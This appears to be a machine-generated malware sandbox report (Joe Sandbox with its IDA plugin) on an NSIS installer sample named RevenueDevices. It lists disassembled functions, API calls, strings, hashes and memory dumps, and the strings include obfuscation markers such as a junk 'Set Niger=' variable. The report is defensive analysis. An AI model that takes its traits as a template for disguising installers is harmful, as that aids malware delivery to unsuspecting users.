Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-239407132
Opcode ID: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
Opcode Fuzzy Hash: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNELBASE(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNELBASE(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

{, xrefs: 00405352
New install of "%s" to "%s", xrefs: 00405182
@rD, xrefs: 004053D7

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: @rD
API String ID: 3282139019-3814967855
Opcode ID: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNEL32(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

Rename on reboot: %s, xrefs: 00401943
CreateDirectory: "%s" created, xrefs: 00401849
detailprint: %s, xrefs: 00401679
Rename: %s, xrefs: 004018F8
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
SetFileAttributes failed., xrefs: 004017A1
Sleep(%d), xrefs: 0040169D
Rename failed: %s, xrefs: 0040194B
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
Aborting: "%s", xrefs: 0040161D
CreateDirectory: "%s" (%d), xrefs: 004017BF
BringToFront, xrefs: 004016BD
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
Jump: %d, xrefs: 00401602
Call: %d, xrefs: 0040165A
SetFileAttributes: "%s":%08X, xrefs: 0040177B

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

.exe, xrefs: 00405A3D
.DEFAULT\Control Panel\International, xrefs: 00405999
RichEd20, xrefs: 00405B9D
Control Panel\Desktop\ResourceLocale, xrefs: 00405972
RichEd32, xrefs: 00405BA8
B%F, xrefs: 00405A1F
_Nb, xrefs: 00405AD1
@rD, xrefs: 00405965
RichEdit20A, xrefs: 00405BB6, 00405BBB
@%F, xrefs: 004059F6
RichEdit, xrefs: 00405BC4

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1650083594
Opcode ID: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000,%NodeTransexual%,004CB0B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,%NodeTransexual%,%NodeTransexual%,00000000,00000000,%NodeTransexual%,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

File: error creating "%s", xrefs: 00401AF0
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
%NodeTransexual%, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error, user retry, xrefs: 00401B40
File: error, user abort, xrefs: 00401B53
File: wrote %d to "%s", xrefs: 00401BD0
File: error, user cancel, xrefs: 00401B93
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: %NodeTransexual%$File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"
API String ID: 4286501637-2490022183
Opcode ID: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
soft, xrefs: 00403675
Inst, xrefs: 0040366C
Error launching installer, xrefs: 004035D7
Null, xrefs: 0040367E

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

Set Niger=gMoAEngineer-Hdtv-Register-Usda-Supported-Mount-Soma-Annotation-Guard-lMAAlien-UKWPostposted-Kuwait-Al-Jennifer-Specialists-Expressions-bdPassive-Advertisers-Further-Unsubscribe-Drivers-Disco-lNCompleted-KRuxInjection-Med-HeTft-Crazy-Sh, xrefs: 004033A9
... %d%%, xrefs: 0040349E
X1C, xrefs: 0040343C
X1C, xrefs: 004033ED

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$Set Niger=gMoAEngineer-Hdtv-Register-Usda-Supported-Mount-Soma-Annotation-Guard-lMAAlien-UKWPostposted-Kuwait-Al-Jennifer-Specialists-Expressions-bdPassive-Advertisers-Further-Unsubscribe-Drivers-Disco-lNCompleted-KRuxInjection-Med-HeTft-Crazy-Sh$X1C$X1C
API String ID: 651206458-337224829
Opcode ID: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
